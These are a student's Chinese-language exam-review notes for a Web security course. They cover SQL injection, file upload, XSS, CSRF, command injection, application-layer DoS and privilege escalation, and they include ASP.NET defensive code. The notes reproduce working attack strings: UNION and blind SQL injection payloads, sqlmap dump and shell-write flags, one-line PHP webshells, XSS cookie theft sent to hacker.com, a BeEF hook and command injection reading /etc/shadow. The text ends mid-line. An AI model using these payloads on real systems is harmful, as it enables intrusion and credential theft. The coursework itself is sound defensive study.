目录
前言
本文用来记录Web安全的复习资料,大部分内容都是从老师ppt的复习范围中节选的,可能不太全,经过考试的心得:有时间的可以多看看,考的比较杂啥都有,但是SQL注入、XSS、文件上传漏洞是重中之重。有需要word版可以去下载资源或者找我要(简介是QQ)。
题型:
选择题:10分(10个)
填空题:20分(10个)
简答题:30分(6个)
综合分析题:40分(4个)
知识点
Web应用开发基础
模型-视图-控制器模式,也称为MVC模式(Model View Controller)。用一种业务逻辑、数据、界面显示分离的方法组织代码,将业务逻辑聚集到一个部件里面,在改进和个性化定制界面及用户交互的同时,不需要重新编写业务逻辑。MVC被独特的发展起来用于映射传统的输入、处理和输出功能在一个逻辑的图形化用户界面的结构中。
它把软件系统分为三个基本部分:
模型(Model) :负责存储系统的中心数据。
视图(View)︰将信息显示给用户(可以定义多个视图)。
控制器(Controller):处理用户输入的信息。负责从视图读取数据,控制用户输入,并向模型发送数据,是应用程序中处理用户交互的部分。负责管理与用户交互交互控制。
视图和控制器共同构成了用户接口。且每个视图都有一个相关的控制器组件。控制器接受输入,通常作为将鼠标移动、鼠标按钮的活动或键盘输入编码的时间。时间被翻译成模型或试图的服务器请求。用户仅仅通过控制器与系统交互。

MVC重要特点就是两种分离:
视图和数据模型的分离:使用不同的视图对相同的数据进行展示;分离可视和不可视的组件,能够对模型进行独立测试。因为分离了可视组件减少了外部依赖利于测试。(数据库也是一种外部组件)
视图和表现逻辑(Controller)的分离:Controller是一个表现逻辑的组件,并非一个业务逻辑组件。MVC可以作为表现模式也可以作为建构模式,意味这Controller也可以是业务逻辑。分离逻辑和具体展示,能够对逻辑进行独立测试。
**优点:**耦合性低;重用性高;生命周期成本低;部署块;可维护性高;有利软件工程化管理。
**缺点:**没有明确的定义;不适合小型,中等规模的应用程序;增加系统结构和实现的复用性;视图与控制器间的过于紧密的连接;视图对模型数据的低效率访问;一般高级的界面工具或构造器不支持模式。
Web信息收集
Web信息收集(探测)即Web踩点,主要是掌握Web应用的信息,是实现Web渗透入侵的前提。
Web踩点内容包括操作系统、服务器类型、数据库类型、Web容器、Web语言、域名信息、网站目录等。
Web信息收集,按照工具和问题,可划分为:搜索引擎、网站扫描、域名遍历、指纹识别等。
常用搜索引擎:Google Hacking、Shodan Hacking、Zoomeye Hacking。
Google Hacking 限定搜索域名 使用site来拼接字符串
“Web安全” site:zhihu.com
Web漏洞扫描
Web漏洞扫描是在Web信息搜集的基础上,进行更进一步的自动化的安全评估、漏洞挖掘、渗透测试。
Web漏洞扫描能让我们进一步挖掘目标服务器潜在的sal注入、XSS跨站脚本攻击、csrf跨站请求伪造等漏洞。
Web漏扫虽然能够帮助我们快速的实现自动化漏洞渗透,但是并不是全能的,也会出现误报,需要手工结合。未经授权对目标服务器/应用进行渗透测试,本质上就是一种攻击行为,若对目标业务造成影响,可能会有法律职责。
国外的漏洞扫描工具:
商业漏洞扫描工具:Burp Suite、AWVS、APPScan;
开源扫描漏洞工具:ZAP(OWASP)、w3af;
国内的漏洞扫描工具:
Safe3 WVS、JSKY、RASA-绿盟远程安全评估系统;
Burp Suite
java环境;应用广泛,有漏洞扫描,也有利用插件;功能:代理、爬虫、扫描、入侵等。
SQL注入
SQL注入就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
对于Web应用程序而言,用户核心数据存储在数据库中,例如:MySQL、SQL Server、Oracle等,通过SQL注入攻击,可以获取、修改、删除数据库信息,并且通过提权来控制Web服务器等其他操作。
SQL注入事件:优快云 600万用户信息泄露、社保信息等信息泄露事件。
SQL注入可以做什么? 查询数据库、读写文件、执行命令。
SQL注入分类
以注入位置分类:GET注入、POST注入、Cookie注入、搜索注入;
以参数类型分类:字符注入、数字注入;
以注入技术分类:错误注入、布尔注入、UNION注入、时间盲注(延时注入)、ASCII逐字解码(折半猜解)。
典型的注入流程
判断是否有SQL注入漏洞;
判断操作系统和数据库类型;
获取数据库信息:获取数据库账号信息——管理员信息、获取数据库用户信息——拖库;
加密信息破解;
提升权限:控制服务器、Webshell执行系统命令、后台登录;
内网渗透。
布尔注入思路:闭合SQL语句;构造or或and逻辑语句;注释多余的代码。
常见注入语句:’or 1=1–‘、’admin’ and 1=1–‘、’or’1’=’1。
UNION注入:UNION语句用于联合前面的SELECT查询语句,合并查询更多信息
一股通过错误和布尔注入确认注入点之后,便开始通过UNION语句来获取有效信息。
常见注入语句:’union select null,null—‘。
Information scheme是MySQL自带的数据库,提供了访问数据库源数据的方式。
UNION注入查询数据库:
‘union select 1, table_name from INFORMATIONA_SCHEMA.tables–‘
UNION注入查询表:
‘union select 1, column_name from INFORMATIONA_SCHEMA.columns where table_name=’users’- -‘
UNION注入查询数据值:
‘union select user,password from users–‘
时间盲注:1’ and sleep(2) --‘
自动化SQL注入工具:SQLmap、Havij(胡萝卜)、Pangolin(穿山甲)。
SQLmap简介最强大的SQL注入渗透测试工具:效率,准确性、参数都是最好的。
基于Python编写,跨平台,基于命令行集成从注入探测到漏洞利用的渗透功能。支持常用的SQL注入技术;支持探测DBMS的数据库和账号信息;支持枚举数据库/表/列并导出;支持主流数据库:MySQL,Qracle,SQL Server,Access等;支持WAF/IDS/IPS检查和绕开,采用代理实现隐藏;支持提权操作,进一步与数据库、操作系统进行操作。
SQLmap的常用参数-GET方法注入为例:
-u参数:当注入页面的参数以GET方法发送给服务器,则直接用-u参数,将带有参数的URL发给SQLmap处理。
-p参数:可以手工指定URL中的参数名称
-f参数:给出操作系统和数据库信息
–users:给出当前数据库用户信息
–dbs:给出当前数据库信息
带cookie的注入—POST方法注入为例
设置到带cookie才能访问的注入页面,可以采用r参数实现;
可用burpsuite/tamper等代理工具,拦截POSt请求内容,将内容保存到POST.tst文件中,并请求调用。
数据获取:拖库是如何操作的?
语法:
–users:查看所有管理员账号
–privileges -U user:查看当前账号权限
–dbs:查看所有数据库
–current-db:查看当前使用的数据库
–tables -D “databse”:查看当前数据库的数据表
–columns-T “fields”-D"database":查看此字段内容
–schema -batch -exclude-sysdbs:查看元数据
dump -all保存所有数据到本地
Dump -C “username,password”-T “fields”-D “database”:
保存数据表制定内容到本地
提权操作
文件读写
–file -read="/etc/passwd"
–file - write=“shell.php”
–file -write=“shell.php”-file -dest"tmp/shell.php"
与数据库交互 --sql -shell
与操作系统交互 --os cmd
原理:存储过程,或者用户自定义函数
在MS SQL Server中,存储过程是“xp_cmd-shell"
文件上传攻击
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。
原理:一旦黑客拿到Webshell,则可以拿到Web应用的数据,删除Web文件,甚至本地提权,进一步拿下整个服务器甚至内网渗透。
SQL注入攻击的对象是数据库服务,文件上传漏洞主要攻击Web服务,实际渗透过程一般结合起来,达到对目标服务的深度控制。
上传Webshell
假如服务器端对用户提交参数或者文件没有进行过滤或者过滤不当能够直接上传WebShell。如果恶意文件如PHP、ASP等执行文件绕过Web应用顺利执行,则相当于黑客拿到了Webshell。
上传了webshell可以干什么?
拿到web应用的数据;删除Web文件;本地提权,进一步拿下整个服务器甚至内网渗透。
文件上传漏洞渗透:上传WebShell(挂马)
小马:一句话木马也称为小马,即整个shell代码量只有一行,一般是系统执行函数。通过精心的(一句话)木马构造,绕过防火墙检测(“过狗”),是渗透测试一个细分领域。
常用的PHP后门函数包括exec、shell_exec、system、eval、assert函数。
一句话木马:黑客在注册信息的电子邮箱或者个人主页等中插入类似如下代码:
<%execute request(“value”)%>知道了URL,就可以利用该网页进行连接得到Webshell。
基于eval函数的木马该函数是国产知名shell管理工具“中国菜刀”所使用的
基于system函数
<?PHP system($_REQUEST[‘cmd’];) ?> <?PHP system($_POST[‘cmd’];) ?>基于shell_exec函数
<?PHP echo shell_exec ($_GET[‘cmd’];) ?>基于assert函数
<?PHP @assert ($_POST[‘cmd’];) ?>文件上传漏洞渗透:直接上传,漏洞攻击:挂马、上传大文件。
绕过客户端检测上传WebShell,绕过前端限制有n多种方法,最常见的两种方法:直接在浏览器插件通过firebug修改、通过burpsuite直接拦截修改。
服务器绕过:绕过扩展名限制
绕过服务端文件扩展名检测上传WebShell
服务器端文件扩展名检测是利用服务器端应用程序检测用户上传文件的后缀名,从而做出允许或者阻止的一种方法,该方法包含黑名单和白名单两种形式。
黑名单检测:一般是建立一个专门的blacklist文件,里面枚举常见的危险文件后缀。
白名单检测:一般是定义一个允许或者阻止用户上传文件类型的后缀的文件,里面枚举相应的文件后缀。
绕过黑名单检测方法
文件名大小写绕过:诸如AsP、Aspx之类的后缀绕过黑名单检测。
黑名单列表绕过:用黑名单里没有的后缀文件进行攻击,iis默认执行.asp、.asa、.cer,有时候黑名单过滤不全,没有过滤掉像后缀为asa、cer之类的文件,但这些文件可以像asp文件一样执行,此时可以使用这些后缀绕过黑名单。
特殊文件名绕过:比如发送的HTTP包里把文件名改成test.asp. 或test.asp_(下划线为空格),这两种命名方式在windows系统里是不被允许的,所以需要在代理工具burpsuite进行修改,然后绕过验证后,会被windows系统自动去掉后面的点和空格,但注意Unix/Linux系统没有此特性。
0x00截断:在许多语言的常用字符串处理函数中,0x00被认为是终止符,比如应用只允许上传jpg图片,那么可以构造文件名为2.asp%00.jpg,.jpg绕过了应用的上传文件类型判断,但对于服务器来说,此文件因为%00字符截断的关系,最终会以2.asp存入路径里。
绕过白名单检测方法
0x00截断:基于白名单检查主要使用0x00截断绕过,同黑名单0x00截断绕过。
文件上传漏洞防御:
文件类型/大小/后缀检测
Web前端通过Javascript验证:验证文件扩展名,文件大小
Web后端检测MIME类型等:白名单过滤、文件重命名、文件大小
最小权限运行Web服务
例如用Root权限运行,被拿到Webshell的同时,整个Root权限也直接被拿下
上传文件目录修改权限
不给执行权限,即使上传了木马文件,也无法执行;读写权限分离
安装WAF进入深度检测
类似图片木马,由于写到图片里,并且经过了编码,因而有些WAF也无法检测到
加密狗,阿里云盾,D盾Web查杀,modsecurity
跨站脚本攻击(XSS)
跨站脚本攻击(Cross Site Scripting)是指攻击者利用网站程序对用户输入过滤不足;输入可以显示在页面上对其他用户造成影响的HTML代码;从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
为了与层叠样式表( Cascading Style Sheets)的缩写CSS区分开,跨站脚本攻击通常简写为XSS。
XSS(Cross Site Scripting)跨站脚本攻击是基于客户端的Web攻击,跟SQL注入攻击一样稳居OWASP前三,危害极大。
XSS即攻击者构造脚本(一般是Javascript)到Web页面,受害者通过点击链接即被攻击。
XSS攻击点一般出现在网页中的评论框、留言板、搜索框等"用户输入"的地方。
XSS漏洞形成主要是Web服务端没有对脚本文件如
用户访问该链接http://172.16.70.214
用户被HOOK到172.16.70.216:3000/hook.js
DOM型XSS是通过修改页面DOM节点数据信息而形成的XSS跨站脚本攻击。
不同于反射型XSS和存储型XSS,基于DOM的XSS跨站脚本攻击往往需要针对具体的Javascript DOM代码进行分析,并根据实际情况进行XSS跨站脚本攻击的利用。
查看响应页面是否包含能够操作DOM节点的js函数,常见此类函数如下:
document.location:返回一个 Location 对象,包含有文档的 URL 相关的信息,并提供了改变该 URL 和加载其他 URL 的方法。
document.URL、document.URLUnencoded、document.referrer、window.location逐项查找响应页面中包含上述函数的代码,确定该部分代码如何处理用户可控制数据。
手工XSS渗透:常用HTML标签<iframe>、<textarea>、<img>;常用的JavaScript方法Alert、Windows.location、Location.href、Onload:当页面载入完毕后执行Javascript代码、Onsubmit:在表单提交时触发、Onerror:在视频/音频(audio/video)数据加载期间发生错误时触发。
构造XSS脚本:
弹框警告:
<script>alert(‘xss’)</script>
<script>alert(document.cookie)</script>
在浏览器的地址栏输入:javascript:alert(document.cookie) (不区分大小写),就会弹出你在当前网页登录的cookie信息。
页面嵌套:
<iframe src=http://www.baidu.com width=300 height=300></iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>
页面重定向:
<script>window.location=“http://hacker.com”</script>
<script>location.href=“http://hacker.com”</script>
弹框警告并重定向:可用于克隆网站收集账户
<script>alert(“请移步到我们的新站”);window.location=“http://hacker.com”</script>
访问恶意代码:
<script src=“http://www.hacker.com/xss.js”></script>
<script src=“172.16.70.216:3000”></script>
巧用图片标签:
<img src=“#” onerror=alert(‘xss’)></img>
<img src=“172.16.70.216:3000/hook.js” ></img>
绕开过滤的脚本:大小写:<ScrIpt> …;字符编码:采用URL、Base64编码;代码混淆。
收集用户cookie:
预处理:打开新窗口并且采用本地cookie访问目标网页;攻击者需架设好Web服务,并且收集用户cookie信息。
XSS脚本文件:<script>window.open(“http://www.hacker.com/cookie.php? cookie=”+document.cookie)</script>
document.location
其他绕过过滤的方法:大小写、特殊编码、代码混淆。
高级安全级别:安全转义函数,只输出文本。
BeEF是目前最大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和metasploit进行渗透,基于Ruby编写,支持图形化界面,操作简单。
XSS防御:Web客户端和服务端脚本对用户输入输出字符进行安全过滤和转义;Web服务器安装WAF/IDS/IPS等安全产品,拦截攻击代码;浏览器设置为高安全级别,Cookie属性HttpOnly设置为true,防止被]JS调用;关闭浏览器自动密码填写功能,防止被钓鱼页面/表单窃取账号密码。
跨站请求伪造
Cookie:用户登录网站之后生成;保留在客户端;由服务器指定有效时间,在规定时间内都可以使用。
Session:Session id 一般在用户登录网站时生成;保留在服务端;用户推出时session失效。
Cookie和session只是基于有效时间和存储位置的不同叫法和表现方式,本质上就是一个“会话”标识,方便web服务器识别客户端,不同web应用/服务在处理用户身份登录信息时,采取的方式完全不同,有些结合使用,有些基于cookie。
CSRF(Cross Site Request Forgery):即攻击者挟持用户执行非用户本意的操作。CSRF一般是一个网页链接,整个攻击过程就是用户点击这个链接,所以被称为“one-click attack”。CSRF与XSS是不同的,但二者可以结合。CSRF比XSS更难检测和隐蔽。攻击主要集中在用户端。防御主要在服务端。
XSS+CSRF:用户访问某链接,黑客诱惑用户点击恶意链接,获取用户cookie,session,token,诱惑用户发起转账请求。
BeFF+XSS实现CSRF示例(GET方法):密码修改页面、防止存储型XSS脚本、CSRF构造、肉鸡访问密码修改链接。
跨站请求伪造的防御:Token验证机制:若网站存在XSS漏洞,则不起作用;二次认证;Refer检测:如果网站请求不是来自于同一域,则拒绝,但不是经常其作用。
命令执行漏洞
命令执行漏洞:当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等。当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。
示例:
114.114.114.114&&uname -a
114.114.114.114&&pwd
114.114.114.114&&ls -l
114.114.114.114&&cat /etc/passwd
114.114.114.114&&cat /etc/shadow
中级别过滤:黑名单过滤绕过
在操作系统中,“&、|、||"都可以作为命令连接符使用。
高级别过滤:把输入信息根据字符分为4个字节,判断是否整数,将4段数字再凑为IP格式。但该方法不通用,不同环境防御措施不同。
Web Server配置安全
常见的Web服务器:Apache、Tomcat、Lighttpd、Nginx、IIS。
Apache(Apache HTTP Server)是目前广泛流行的Web服务器软件,具有开放源代码、跨平台、安全稳定等特点。Apache是伴随互联网的兴起共同成长的,经过多年的技术沉淀和积累,已经非常成熟和稳定,具备了大量的功能模块和扩展。但由于Apache在设计之初对性能和资源的消耗没有过多的关注,导致在应对高并发的业务场景时,被一些轻量级的高性能Web服务器赶超。
Tomcat(Apache Tomcat)主要用于JavaWeb环境,是一个运行Serviet和JSP的容器(即运行Java语言的服务器端程序)。Tomcat和Apache都是由Apache软件基金会运作的开源项目,Tomcat本身可作为一个单独的Web服务器使用,主要用于处理动态请求,但在静态资源和高并发方面的性能较弱,因此经常和Apache等软件搭配,实现动静态请求分离。
Lighttpd由德国人发起的轻量级开源Web服务器软件,不仅实现了Apache的常用功能,同时还保持了轻量级的优势,具有低内存开销、低CPU占用率、性能高以及模块丰富等特点。目标是专门针对高性能网站提供一个安全、快速、兼容性强且配置灵活的Web服务器环境。
Nginx(读作enginex)是一个轻量级开源Web服务器软件,可以作为反向代理、负载均衡与缓存服务器使用。Nginx和Lighttpd都是为高并发网站的应用场景而设计的。随着技术发展和业务需要,Nginx逐渐受到关注,在国内如百度、淘宝、腾讯、新浪、网易等网站都开始使用Nginx来满足一些高并发访问的需求。
IIS(Internet Information Services互联网信息服务)是Microsoft(微软)公司的Web服务器产品,运行在WindowsServer平台,具有图形界面管理工具。 IIS是目前被广泛采用的Web服务器软件之一,在全球占有相当大的市场份额。 但作为付费软件,需要支付一定的软件成本。其自身也有不少缺点,远不如上述几种web服务软件好用。
Web服务集成环境
在网络上以Nginx为主的集成环境主要有:LNMP、LNMPA。
LNMP代表是Linux下Nginx+MySQL+PHP这种网站服务器架构
LNMPA代表的是Linux下Nginx+MySQL+PHP+Apache这种网站服务器架构,是结合LAMP与LNMP各自的优点而产生的新的网站服务器架构。
以Apache为主的集成环境主要有LAMP、XAMPP。
LAMP代表Linux下Apache+MySQL+PHP这种网站服务器架构;
XAMPP 则为win或linux下Apache+MySQL+PHP+PERL这种网站服务器架构。
在.NET编写的网站程序中,Windows下IIS是首选,经过安全强化的.NET环境非常安全。
认证和授权
在IIS中配置windows认证,缺点:访问者必须使用Window操作系统并与服务器在同一个域,实际用得比较少。
Form认证构建基于Internet的Web应用,需要建立自己的用户管理和存储机制 ,认证机制将用户的身份以密文的方式存在Cookie或在URL上封装。默认情况下创建一个认证身份的Cookie。
Passport认证是一种Microsoft提供的集中认证服务。使用Passport进行认证的步骤:获取.NET Passport Software Development Kit (SDK) ;在Web.config文件中按如下代码来配置Passport认证 ;使用.NET Passport SDK中的功能来实现认证,还需要给微软公司付给一定的费用。
C#加密类的使用
Hash算法也称作散列算法或报文摘要(digital digest)。Hash算法将任意长度数据转化为 固定长度字符序列。Hash结果是始终维一的。任意二个序列的Hash结果是不同的。Hash结果 亦称为数字指纹(Finger Print),它有固定的长度,且相同的明文摘要必定一致。这样这串摘要使可成为验证明文 是否是"真身"的"指纹"了。
Hash算法数字签字通用的加密标准有:SHA1,MD5等。
.NET Framework提供了以下类来实现加密Hash算法:HMACSHA1、MACTripleDES、MD5CryptoServiceProvider、SHA1Managed、SHA256Managed、SHA384Managed、
SHA512Managed。
日志系统构建及日志分析
Log Parser 的工具(导出为SQL):慢:分析比较浪费时间(尤其是需要多次统计时)。不方便:它支持的查询语法不够丰富。
性能分析
IIS日志中有一列叫:timeTaken,在IIS的界面中显示了它的含义:所有时间。
这个所有时间的定义是:从服务端收到请求的第一个字节开始起,直到把所有响应内容发送出去为止的时间。
例如,查看最慢的20个页的的加载情况,可以这样查询


IIS日志
ASP.NET日志:Web系统安全监控、错误信息、安全事件。
通过IIS日志查找网站是否存在死链接;通过IIS日志查找网站是否存在程序错误;通过IIS日志查找网站是否被入侵过。
实战与综合
应用层DDOS:CC
“CC攻击”的前身是一个叫fatboy的攻击程序,当时黑客为了挑战绿盟的一款反DDOS设备开发了它。
绿盟有一款叫“黑洞(Collapasar)”的反DDOS设备,能够有效地清洗SYN Flood等有害流量。
黑客则挑衅式地将fatboy所实现的攻击方式命名为:Chal-lenge Collapasar(简称CC)。
攻击原理:对一些消耗资源较大的应用页面不断发起正常的请求,以达到消耗服务端资源的目的。在Web应用中,查询数据库、读/写硬盘文件等操作,相对都会消耗比较多的资源。
在互联网中充斥着各种搜索引擎、信息收集等系统的爬虫(spider),爬虫把小网站直接爬死的情况时有发生,这与应用层DDOS攻击的结果很像。由此看来,应用层DDOS攻击与正常业务的界线比较模糊。
防御:限制请求频率、验证码、缓存。
应用层DDOS——资源耗尽攻击:Slowloris攻击
Slowloris是在2009年由著名的Web安全专家RSnake提出的一种攻击方法,其原理是以极低的速度往服务器发送HTTP请求。要保持住这个连接,RSnake构造了一个畸形的HTTP请求,准确地说,是一个不完整的HTTP请求。
GET / HTTP/1.1\r\n
Host: host\r\n
User-Agent: Mozilla/4.0 (compatible; MSIE7.0; Windows NT 5.1; Trident
/4.0;.NETCLR1.1.4322;.NET CLR 2.0.503l3;.NET CLR3.0.4506.2152;.NET CLR 3.5.30729; MSOffice12)\r\n
Content-Length: 42\r\n
在正常的HTTP包头中,是以两个CLRF表示HTTP Headers部分结束的。
Content-Length: 42\r\n\r\n
由于Web Server只收到了一个\r\n,因此将认为HTTP Headers部分没有结束,并保持此连接不释放,继续等待完整的请求。此时客户端再发送任意HTTP头,保持住连接即可。
应用层DDOS——资源耗尽攻击:HTTP POST D.O.S
原理是在发送HTTP POST包时,指定一个非常大的Content-Length值,然后以很低的速度发包,比如10~100s发一个字节,保持住这个连接不断开。这样当客户端连接数多了以后,占用住了Web Server的所有可用连接,从而导致DOS。
应用层DDOS——资源耗尽攻击:Server Limit DOS
Cookie也能造成一种拒绝服务,笔者称之为Server Limit DOS,并曾在笔者的博客文章中描述过这种攻击。
Web Server对HTTP包头都有长度限制,以Apache举例,默认是8192字节。
如果客户端发送的HTTP包头超过这个大小,服务器就会返回一个4xx错误
假如攻击者通过XSS攻击,恶意地往客户端写入了一个超长的Cookie,则该客户端在清空Cookie之前,将无法再访问该Cookie所在域的任何页面。
这是因为Cookie也是放在HTTP包头里发送的,而Web Server默认会认为这是一个超长的非正常请求,从而导致“客户端”的拒绝服务。
应用层DDOS——资源耗尽攻击:ReDOS
当正则表达式写得不好时,就有可能被恶意输入利用,消耗大量资源,从而造成DOS。这种攻击被称为Re-DOS。
MD5加密:事实上大多数MD5密码,都是可以破解的。
彩虹表是一个用于加密散列函数逆运算的预先计算好的表。
托库:有一些攻击者,将库搜集起来,组件为一个大库,称为“社工库”。黑客攻击时,如果得到了目标的邮箱,在“社工库”中以查,就可能得到密码。
支持外连接
数据库密码泄露:配置文件泄露
Asp.net: web.config
PHP:config.php/conn.php/web.php
JSP: Properties文件
导出数据库,借助一款客户端的操作软件即可。例如:Navicat
不支持外连接
Sql注入:手工注入Or Sqlmap
越权访问
本地导出:已有网站权限,向网站上传类似于“PHPMyAdmin”之类的数据库管理的“拖库脚本”。
旁注攻击攻击者在攻击目标时,对目标网站“无从下手”,找不到漏洞时,攻击者就可以会通过具有同一服务器的网站渗透到目标网站,从而获取目标站点的权限。攻击者在进行旁注操作时,一般都会与提权技术结合在一起。
旁注攻击:IP逆向查询。
旁注攻击常用手段:
Sql跨库查询;目录越权(两个网站的权限没有设置好)。
提权
提权:将服务器的普通用户提升为管理员用户的一种操作。
提权分为:溢出提权和第三方组件提权。
溢出提权是指攻击者利用系统本身或系统中软件的漏洞来获取root权限。
溢出提权,又分为远程溢出提权和本地溢出提权两种。
溢出提权:远程溢出提权
如:MS-08067溢出漏洞。
使用相应的溢出程序,即可获取到远程服务器的root权限。
服务器通常都打了补丁,远程溢出提权越来越少。
溢出提权:本地溢出提权
本地溢出提权首先要有服务器的一个用户,且需要有执行权限。
攻击者通常会向服务器上传本地溢出程序,在服务器端执行。
如果系统存在漏洞,那么将溢出root权限。
例如:Windows提权
ASP依靠wscript.shell,上传溢出程序,即可提权
IIS 6.0命令执行漏洞
第三方组件提权
数据库提权
SQLServer的存储过程:xp_cmdshell
MySQL:自定义函数
FTP提权
FTP程序支持用户执行权限,如果配置得用户具有该权限,则可以使用“quote site exec”执行系统命令。
如何找到用户名和密码?利用Serv-U等软件
简答题复习要点
ASP.NET的安全控件
1.登录控件的安全性
使用安全套接字层(SSL)协议,SSL可防止数据被更改,保护用户的标识,并确保数据来源于预期的客户端(身份验证);验证用户输入;保证视图状态的安全,登录控件可以将信息存储在页的视图状态中,因此保证视图状态的安全是一种最佳安全实践;保护成员资格;保证电子邮件的安全。
2.登录控件的名称、登录状态控件的名称
Login控件是一个复合控件,它有效集成了登录验证页面中常见的用户界面元素和功能。通常情况下,Login控件会在页面中呈现3个核心元素,即用于输入用户名的文本框、用于输入密码的文本框和用于提交用户凭证的按钮。Login控件与成员资格管理功能集成,无需编写任何代码就能够实现用户登录功能。
LoginView 控件根据用户是否经过身份验证以及他属于哪个网站角色(如果用户经过身份验证),为不同的用户显示不同的网站内容模板。
3.密码维护控件的名称
强大的密码输入框PasswordView,多种功能自由组合。高亮,光标,隐藏输入后的内容,任意数量,任意大小,任意drawable设置样式,自动弹出/关闭键盘,锁定状态。
web应用系统的数据加密
1.数据库面临的两种威胁
SQL注入,攻击者者通常将未经授权的数据库语句插入(或“注入”)到有漏洞的SQL数据信道中。通常情况下,攻击者所针对的数据信道包括存储过程和 Web应用程序输入参数,攻击者可以不受限制地访问整个数据库。
数据库漏洞。 底层操作系统中的漏洞和安装在数据库服务器上的其他服务中的漏洞可能导致未经授权的访问、数据破坏或拒绝服务。
2.常用的哈希加密算法的名称
MD5、SHA。
3.通常需要进行加密的配置节名称
Web.Config
4.证书加密的算法及实现语句(参考RSA实验的代码分析,要求能写出关键的获取公私钥、加密和解密的语句) 这里可以看我之前的文章有详细说明
//声明存放公钥私钥的位置
private const int RsaKeySize = 2048;
private const string publicKeyFileName = "PublicKey.txt";
private const string privateKeyFileName = "PrivateKey.txt";
private string basePathToStoreKeys = @"E:/test/RSA";
/// <summary>
///在给定路径中生成XML格式的私钥和公钥。
/// </summary>
public void GenerateKeys(string path)
{
using (var rsa = new RSACryptoServiceProvider(RsaKeySize))
{
try
{
// 获取私钥和公钥。
var publicKey = rsa.ToXmlString(false);
var privateKey = rsa.ToXmlString(true);
// 保存到磁盘
File.WriteAllText(Path.Combine(path, publicKeyFileName), publicKey);
File.WriteAllText(Path.Combine(path, privateKeyFileName), privateKey);
MessageBox.Show(string.Format("生成的RSA密钥的路径: {0}\\ [{1}, {2}]", path, publicKeyFileName, privateKeyFileName));
}
finally
{
rsa.PersistKeyInCsp = false;
}
}
}
/// <summary>
/// 用给定路径的RSA公钥文件加密纯文本。
/// </summary>
/// <param name="plainText">要加密的文本</param>
/// <param name="pathToPublicKey">用于加密的公钥路径.</param>
/// <returns>表示加密数据的64位编码字符串.</returns>
public string Encrypt(string plainText, string pathToPublicKey)
{
using (var rsa = new RSACryptoServiceProvider(RsaKeySize))
{
try
{
//加载公钥
var publicXmlKey = File.ReadAllText(pathToPublicKey);
rsa.FromXmlString(publicXmlKey);
var bytesToEncrypt = System.Text.Encoding.Unicode.GetBytes(plainText);
var bytesEncrypted = rsa.Encrypt(bytesToEncrypt, false);
return Convert.ToBase64String(bytesEncrypted);
}
finally
{
rsa.PersistKeyInCsp = false;
}
}
}
/// <summary>
/// Decrypts encrypted text given a RSA private key file path.给定路径的RSA私钥文件解密 加密文本
/// </summary>
/// <param name="encryptedText">加密的密文</param>
/// <param name="pathToPrivateKey">用于加密的私钥路径.</param>
/// <returns>未加密数据的字符串</returns>
public string Decrypt(string encryptedText, string pathToPrivateKey)
{
using (var rsa = new RSACryptoServiceProvider(RsaKeySize))
{
try
{
var privateXmlKey = File.ReadAllText(pathToPrivateKey);
rsa.FromXmlString(privateXmlKey);
var bytesEncrypted = Convert.FromBase64String(encryptedText);
var bytesPlainText = rsa.Decrypt(bytesEncrypted, false);
return System.Text.Encoding.Unicode.GetString(bytesPlainText);
}
finally
{
rsa.PersistKeyInCsp = false;
}
}
}
数据库安全通信
1.数据库连接串的各个参数的常用取值和含义
Server、DataBase、Uid、Pwd
2…NET Framework 数据提供程序访问4个不同数据库的类:
OleDbConnection, SqlConnection ,OdbcConnection ,OracleConnection
3.SqlConnection的数据库操作的代码,要求能够写出数据库连接、sql命令执行的程序语句
<connectionStrings>
<add name ="conn" connectionString="Server =localhost; uid = sa; pwd = 123456; DataBase = mimaxue"/>
</connectionStrings>
string conStr = ConfigurationManager.ConnectionStrings["conn"].ConnectionString;
//第二 创建连接对象并指定连接
SqlConnection conn = new SqlConnection(conStr);
//第三 打开连接
conn.Open();
string sql = string.Format("select * from users where username = @username and password = @pwd");
SqlCommand cmd = new SqlCommand(sql, conn);
4.SQL注入方法,能够构造下列情况下的SQL注入攻击字符串:表单注入攻击;跨页传递的字符串注入攻击,包括:数字型参数攻击方式和字符型参数攻击方式
数字型 and 1=1
字符型 admin' and 1=1--
5.为了防范SQL注入攻击,.NET用什么类(SqlCommand.Parameters)、怎样对用户提交的数据进行处理的方法
SqlCommand的Parameters的用法
可以用的SqlCommand的Parameters的方法
SqlCommand cmd=new (“insert into notice(ly_title) values(@ly_title)”
,conn);
//一、最正规的写法。
cmd.Parameters.Add(new SqlParameter("@ly_title",SqlDbType.NVarChar,20));
cmd.Parameters["@ly_title"].value=“title”;
//二、没有new SqlParameter()
cmd.Parameters.Add("@ly_title",SqlDbType.NVarChar,20);
cmd.Parameters["@ly_title"].Value = “title”;
cmd.ExecuteNonQuery();
6.SQL注入的7种防范方法
严格的数据类型、特殊字符转义、使用预编译语句、使用ORM框架、避免明文直接存放在数据库、处理好响应异常、用存储过程来执行所有查询。
7.数据库的两种登录方式
Windows身份验证、SQL server身份验证
8.数据库的盐度加密方法,包括用户注册时加密的步骤和用户登录时验证的步骤
注册:
1)用户提供密码(以及其他用户信息);
2)系统为用户生成Salt值;
3)系统将Salt值和用户密码连接到一起;
4)对连接后的值进行散列,得到Hash值;
5)将Hash值和Salt值分别放到数据库中。
登录:
1)用户提供用户名和密码;
2)系统通过用户名找到与之对应的Hash值和Salt值;
3)系统将Salt值和用户提供的密码连接到一起;
4)对连接后的值进行散列,得到Hash’;
5)比较Hash和Hash’是否相等,相等则表示密码正确,否则表示密码错误。
9.数据库安全部署的主要方法有哪些?
1、增强物理的安全性(防火防水啥之类的、不能直连intenet)
2、使用防火墙ASA
3、隔离服务(最好不要在拥有DC的服务器上安装,加入域成为域成员是没问题的)
4、禁用不必要的协议,如NetBios、SMB等服务器消息块
身份验证
1…NET的身份验证有哪几种方式?
Windows: 使用IIS验证方式
Forms: 使用基于窗体的验证方式
Passport: 采用Passport cookie验证模式
2.如果使用windows身份验证,web.config应怎样配置?
<add name="northwndConnectionString1" connectionString="Data Source
